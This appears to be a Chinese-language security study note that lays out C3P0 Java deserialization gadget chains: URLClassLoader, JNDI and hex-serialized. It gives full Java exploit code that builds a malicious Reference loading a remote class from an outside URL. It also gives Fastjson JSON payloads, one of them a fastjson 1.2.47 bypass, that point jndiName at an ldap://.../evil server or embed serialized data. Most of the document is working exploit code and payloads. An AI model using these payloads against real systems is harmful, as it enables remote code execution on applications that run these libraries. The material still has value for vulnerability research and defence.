URLClassloader链
1 2 3 4 5
| 利用链 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -> source点 com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject com.mchange.v2.naming.ReferenceableUtils#referenceToObject java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader) -> sink点 -> Class.forName加载类时执行恶意类中的静态代码块
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.*; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Hashtable; import java.util.logging.Logger;
public class C3P0_URLClassloader { public static class evilRef implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { return new Reference("Attack", "Attack", "http://127.0.0.1:2333/"); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException {
} @Override public void setLoginTimeout(int seconds) throws SQLException {
} @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static Object generateEvilObject(Object o) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSource(); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field connectionPoolDataSourceField = clazz.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true); connectionPoolDataSourceField.set(poolBackedDataSourceBase, o); return poolBackedDataSourceBase; }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Java代码审计/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Java代码审计/serialized.txt")); objectInputStream.readObject(); }
public static void main(String[] args) throws Exception { Object obj = generateEvilObject(new evilRef()); serialize(obj); deserialize(); } }
|
JDNI链
1 2 3 4 5 6 7 8 9
| 利用链 com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference javax.naming.InitialContext#lookup(java.lang.String) -> sink点
给jndiName赋值 com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName
|
通过Fastjson
调用两个setter
方法实现赋值并调用
1 2 3 4 5 6
| payload: { "@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"ldap://192.168.43.95:8085/evil", "loginTimeout":"8" }
|
Hex流反序列化
也是结合Fastjson
调用setter
进行利用
1 2 3 4 5 6 7
| 利用链 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource() com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean) com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[]) com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray java.io.ObjectInputStream#readObject -> sink点
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload: { "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap + hex(序列化数据) +;" }
fastjson 1.2.47 { "1":{ "@type":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "2":{ "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap + hex(序列化数据) +;" } }
|
参考
https://forum.butian.net/share/2868